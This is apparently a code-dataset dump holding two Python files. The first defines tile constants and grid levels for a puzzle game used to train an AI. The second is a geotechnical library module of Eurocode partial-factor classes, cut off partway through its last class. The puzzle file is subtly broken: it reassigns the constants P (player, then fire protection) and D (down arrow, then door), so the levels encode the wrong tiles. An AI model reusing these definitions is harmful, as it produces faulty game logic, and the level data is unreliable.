| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
f152eec3cef385534aba23310f7da6d95d6a9cd5
| 3,855
|
py
|
Python
|
train_levels.py
|
TheCherry/test_ai_game
|
b0e89d6b526d7a5942391c7bf557e051bfd731be
|
[
"MIT"
] | null | null | null |
train_levels.py
|
TheCherry/test_ai_game
|
b0e89d6b526d7a5942391c7bf557e051bfd731be
|
[
"MIT"
] | null | null | null |
train_levels.py
|
TheCherry/test_ai_game
|
b0e89d6b526d7a5942391c7bf557e051bfd731be
|
[
"MIT"
] | null | null | null |
A = 0 ## AIR - Movable field, no actions
P = 1 ## PLAYER - The Player
W = 2 ## WALL - A Wall, player cant pass
F = 3 ## FIRE - Kills the player if he havent a Fire protection
P = 4 ## FPROTECT - Fire protection
R = 5 ## ALLOW_DIRECTION_RIGHT - only moveable to right
L = 6 ## ALLOW_DIRECTION_LEFT - only moveable to left
D = 7 ## ALLOW_DIRECTION_DOWN - only moveable to down
U = 8 ## ALLOW_DIRECTION_UP - only moveable to up
K = 9 ## KEY - key, needed for doors
D = 10 ## DOOR - door, only passable with a key
G = 11 ## GOAL - the end
levels = [
###
[{ "best_steps": 2, "matrix": [
# 0 1 2 3 4 5 6 7 8 9 10 11
[W, W, W, W, W, W, W, W, W, W, W, W], # 0
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 1
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 2
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 3
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 4
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 5
[W, 0, 0, 0, 0, P, 0, G, 0, 0, 0, W], # 6
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 7
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 8
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 9
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 10
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 11
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 12
[W, W, W, W, W, W, W, W, W, W, W, W] # 13
]},{ "best_steps": 8, "matrix": [
# 0 1 2 3 4 5 6 7 8 9 10 11
[W, W, W, W, W, W, W, W, W, W, W, W], # 0
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 1
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 2
[W, 0, 0, 0, 0, 0, W, W, W, 0, 0, W], # 3
[W, 0, 0, 0, 0, W, G, 0, W, 0, 0, W], # 4
[W, 0, 0, 0, W, P, W, 0, W, 0, 0, W], # 5
[W, 0, 0, 0, W, 0, W, D, W, 0, 0, W], # 6
[W, 0, 0, 0, W, 0, 0, K, W, 0, 0, W], # 7
[W, 0, 0, 0, W, W, W, W, 0, 0, 0, W], # 8
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 9
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 10
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 11
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 12
[W, W, W, W, W, W, W, W, W, W, W, W] # 13
]},{ "best_steps": 12, "matrix": [
# 0 1 2 3 4 5 6 7 8 9 10 11
[W, W, W, W, W, W, W, W, W, W, W, W], # 0
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 1
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 2
[W, 0, 0, 0, W, W, W, W, W, 0, 0, W], # 3
[W, 0, 0, 0, W, P, W, G, W, 0, 0, W], # 4
[W, 0, 0, 0, W, 0, W, 0, W, 0, 0, W], # 5
[W, 0, 0, 0, W, 0, W, 0, W, 0, 0, W], # 6
[W, 0, 0, 0, W, 0, D, 0, W, 0, 0, W], # 7
[W, 0, 0, 0, W, 0, W, W, 0, 0, 0, W], # 8
[W, 0, 0, 0, W, K, W, 0, 0, 0, 0, W], # 9
[W, 0, 0, 0, 0, W, 0, 0, 0, 0, 0, W], # 10
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 11
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 12
[W, W, W, W, W, W, W, W, W, W, W, W] # 13
]},{ "best_steps": 10, "matrix": [
# 0 1 2 3 4 5 6 7 8 9 10 11
[W, W, W, W, W, W, W, W, W, W, W, W], # 0
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 1
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 2
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 3
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 4
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 5
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 6
[W, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, W], # 7
[W, 0, 0, G, 0, 0, 0, 0, 0, 0, 0, W], # 8
[W, W, W, D, W, 0, 0, 0, 0, 0, 0, W], # 9
[W, 0, 0, 0, W, 0, 0, 0, 0, 0, 0, W], # 10
[W, 0, W, 0, W, 0, 0, 0, 0, 0, 0, W], # 11
[W, P, W, K, W, 0, 0, 0, 0, 0, 0, W], # 12
[W, W, W, W, W, W, W, W, W, W, W, W] # 13
]}
]
| 47.012195
| 81
| 0.320882
| 887
| 3,855
| 1.38106
| 0.071026
| 0.555102
| 0.67102
| 0.718367
| 0.68898
| 0.682449
| 0.681633
| 0.672653
| 0.668571
| 0.65551
| 0
| 0.259734
| 0.433722
| 3,855
| 81
| 82
| 47.592593
| 0.30142
| 0
| 0
| 0.506667
| 0
| 0
| 0.021858
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 0
| 0
| 1
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
f187833d180179ffb15d15fca61ce3da1766aa3c
| 25,340
|
py
|
Python
|
geolib/models/dsheetpiling/internal_partial_factors.py
|
Deltares/geolib
|
d38aab35a034e977bb7684322395458986bda059
|
[
"MIT"
] | 4
|
2021-10-29T21:30:47.000Z
|
2022-03-18T13:15:17.000Z
|
geolib/models/dsheetpiling/internal_partial_factors.py
|
cemsbv/GEOLib
|
54de109460a836caed51f0f26974a51f39edcfa3
|
[
"MIT"
] | 3
|
2021-11-05T07:56:16.000Z
|
2022-03-27T13:27:05.000Z
|
geolib/models/dsheetpiling/internal_partial_factors.py
|
cemsbv/GEOLib
|
54de109460a836caed51f0f26974a51f39edcfa3
|
[
"MIT"
] | 4
|
2021-10-29T21:30:51.000Z
|
2022-01-17T13:20:40.000Z
|
from geolib.models import BaseDataClass
from geolib.models.dseries_parser import DSeriesInlineMappedProperties
class PartialFactorsEurocodeDa1Set1(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.35
effectfactorvarunfav: float = 1.10
materialfactorcohesion: float = 1.00
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.000
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.00
overallstabilityfactortgphi: float = 1.00
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsEurocodeDa1Set2(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.30
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.25
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.250
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.00
overallstabilityfactortgphi: float = 1.00
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsEurocodeDa2(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.35
effectfactorvarunfav: float = 1.10
materialfactorcohesion: float = 1.00
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.000
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.40
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.00
overallstabilityfactortgphi: float = 1.00
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsEurocodeDa3(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.30
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.25
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.250
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.00
overallstabilityfactortgphi: float = 1.00
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsEc7Nl0(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.00
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.050
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.15
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 0.90
overallstabilityfactorcohesion: float = 1.30
overallstabilityfactortgphi: float = 1.20
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.20
verticalbalancegammamb: float = 1.20
class PartialFactorsEc7Nl1(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.15
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.150
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.20
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.30
overallstabilityfactortgphi: float = 1.20
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.20
verticalbalancegammamb: float = 1.25
class PartialFactorsEc7Nl2(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.25
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.175
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.25
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.45
overallstabilityfactortgphi: float = 1.25
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.20
verticalbalancegammamb: float = 1.25
class PartialFactorsEc7Nl3(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.25
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.40
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.200
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.25
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.60
overallstabilityfactortgphi: float = 1.30
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.35
verticalbalancegammamb: float = 1.25
class PartialFactorsEc7BSet1(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.35
effectfactorvarunfav: float = 1.10
materialfactorcohesion: float = 1.00
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.000
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.00
overallstabilityfactortgphi: float = 1.00
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.20
class PartialFactorsEc7BSet2(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.10
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.25
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.250
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 10.00
geometrymaxincretainingheight: float = 0.50
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.25
overallstabilityfactortgphi: float = 1.25
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.20
class PartialFactorsCurI(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.00
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.050
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 0.00
geometrymaxincretainingheight: float = 0.00
geometrydeltapassivesurfacelevel: float = 0.20
geometrydeltapassivephreaticline: float = 0.15
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 0.90
overallstabilityfactorcohesion: float = 1.50
overallstabilityfactortgphi: float = 1.20
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsCurIi(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.00
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.150
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 0.00
geometrymaxincretainingheight: float = 0.00
geometrydeltapassivesurfacelevel: float = 0.30
geometrydeltapassivephreaticline: float = 0.20
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.50
overallstabilityfactortgphi: float = 1.20
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsCurIii(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.25
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.00
loadfactorvarunfavmultiply: float = 1.00
loadfactorpermunfavcalc: float = 0.0000
loadfactorvarunfavcalc: float = 0.0000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 1.00
constructloadfactorpermunfavmultiply: float = 1.00
constructloadfactorvarunfavmultiply: float = 1.00
constructloadfactorpermunfavcalc: float = 1.0000
constructloadfactorvarunfavcalc: float = 1.0000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.10
materialfactorundrainedshearstrength: float = 1.00
materialfactortgphi: float = 1.200
materialfactorsubgradereaction: float = 1.30
resistancefactor: float = 1.00
geometryincretainingheight: float = 0.00
geometrymaxincretainingheight: float = 0.00
geometrydeltapassivesurfacelevel: float = 0.35
geometrydeltapassivephreaticline: float = 0.25
geometrydeltaactivephreaticline: float = 0.05
overallstabilityfactordrivingmoment: float = 1.10
overallstabilityfactorcohesion: float = 1.50
overallstabilityfactortgphi: float = 1.20
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 0.00
verticalbalancegammamb: float = 1.25
class PartialFactorsEc7SeVk1(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 0.83
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.10
loadfactorvarunfavmultiply: float = 1.40
loadfactorpermunfavcalc: float = 0.9130
loadfactorvarunfavcalc: float = 1.1620
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 0.00
constructloadfactorpermunfavmultiply: float = 1.35
constructloadfactorvarunfavmultiply: float = 1.50
constructloadfactorpermunfavcalc: float = 1.1205
constructloadfactorvarunfavcalc: float = 1.2450
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.30
materialfactorundrainedshearstrength: float = 1.50
materialfactortgphi: float = 1.300
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 0.00
geometrymaxincretainingheight: float = 0.00
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.30
overallstabilityfactortgphi: float = 1.30
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.00
verticalbalancegammamb: float = 1.30
class PartialFactorsEc7SeVk2(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 0.91
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.10
loadfactorvarunfavmultiply: float = 1.40
loadfactorpermunfavcalc: float = 1.0010
loadfactorvarunfavcalc: float = 1.2740
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 0.00
constructloadfactorpermunfavmultiply: float = 1.35
constructloadfactorvarunfavmultiply: float = 1.50
constructloadfactorpermunfavcalc: float = 1.2285
constructloadfactorvarunfavcalc: float = 1.3650
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.30
materialfactorundrainedshearstrength: float = 1.50
materialfactortgphi: float = 1.300
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 0.00
geometrymaxincretainingheight: float = 0.00
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.30
overallstabilityfactortgphi: float = 1.30
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.00
verticalbalancegammamb: float = 1.30
class PartialFactorsEc7SeVk3(DSeriesInlineMappedProperties):
safetyfactorgammad: float = 1.00
safetyfactoreta: float = 1.00
loadfactorpermunfav: float = 1.00
loadfactorpermfav: float = 1.00
loadfactorvarunfav: float = 1.00
loadfactorvarfav: float = 0.00
loadfactorpermunfavmultiply: float = 1.10
loadfactorvarunfavmultiply: float = 1.40
loadfactorpermunfavcalc: float = 1.1000
loadfactorvarunfavcalc: float = 1.4000
constructloadfactorpermfav: float = 1.00
constructloadfactorvarfav: float = 0.00
constructloadfactorpermunfavmultiply: float = 1.35
constructloadfactorvarunfavmultiply: float = 1.50
constructloadfactorpermunfavcalc: float = 1.3500
constructloadfactorvarunfavcalc: float = 1.5000
effectfactor: float = 1.00
effectfactorvarunfav: float = 1.00
materialfactorcohesion: float = 1.30
materialfactorundrainedshearstrength: float = 1.50
materialfactortgphi: float = 1.300
materialfactorsubgradereaction: float = 1.00
resistancefactor: float = 1.00
geometryincretainingheight: float = 0.00
geometrymaxincretainingheight: float = 0.00
geometrydeltapassivesurfacelevel: float = 0.00
geometrydeltapassivephreaticline: float = 0.00
geometrydeltaactivephreaticline: float = 0.00
overallstabilityfactordrivingmoment: float = 1.00
overallstabilityfactorcohesion: float = 1.30
overallstabilityfactortgphi: float = 1.30
overallstabilityfactorunitweight: float = 1.00
factorrepvaluesmdpmax: float = 1.00
